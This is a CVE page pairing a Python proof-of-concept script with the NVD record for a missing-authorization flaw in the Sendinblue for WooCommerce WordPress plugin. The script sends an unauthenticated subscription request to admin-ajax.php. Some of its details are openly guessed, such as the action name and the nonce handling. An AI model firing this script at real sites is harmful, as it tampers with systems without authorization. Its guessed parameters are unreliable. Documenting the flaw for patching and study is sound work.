CVE-2025-66128

import requests # CVE-2025-66128 PoC - Missing Authorization in Sendinblue for WooCommerce # Target: WordPress site with woocommerce-sendinblue-newsletter-subscription plugin <= 4.0.49 target_url = "http://target-wordpress-site.com" # Identify the vulnerable endpoint - typically AJAX or REST API endpoint # The plugin registers AJAX handlers for newsletter subscription vulnerable_endpoints = [ "/wp-admin/admin-ajax.php", "/wp-json/sendinblue/v1/" ] def exploit_missing_auth(): """ This PoC demonstrates the missing authorization vulnerability. The plugin fails to properly check user capabilities before processing newsletter subscription operations. """ # Step 1: Identify if target is vulnerable # Check plugin version via readme.txt or HTML comments # Step 2: Send unauthorized subscription request # The plugin should verify user capabilities but doesn't payload = { 'action': 'sendinblue_subscribe', # Common action name 'email': '[email protected]', 'first_name': 'Attacker', 'list_id': 1, 'nonce': '' # May be missing or bypassable } response = requests.post( f"{target_url}/wp-admin/admin-ajax.php", data=payload, timeout=10 ) # Step 3: Verify successful exploitation # If status code is 200 and subscription succeeds without auth if response.status_code == 200: print(f"[+] Potentially vulnerable! Request processed without authorization") print(f"[+] Response: {response.text}") else: print(f"[-] Plugin may be patched or not vulnerable") if __name__ == "__main__": exploit_missing_auth()

{"cve": {"id": "CVE-2025-66128", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:57.267", "lastModified": "2026-04-27T18:16:37.370", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Brevo Sendinblue for WooCommerce woocommerce-sendinblue-newsletter-subscription allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Sendinblue for WooCommerce: from n/a through <= 4.0.49."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woocommerce-sendinblue-newsletter-subscription/vulnerability/wordpress-sendinblue-for-woocommerce-plugin-4-0-49-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}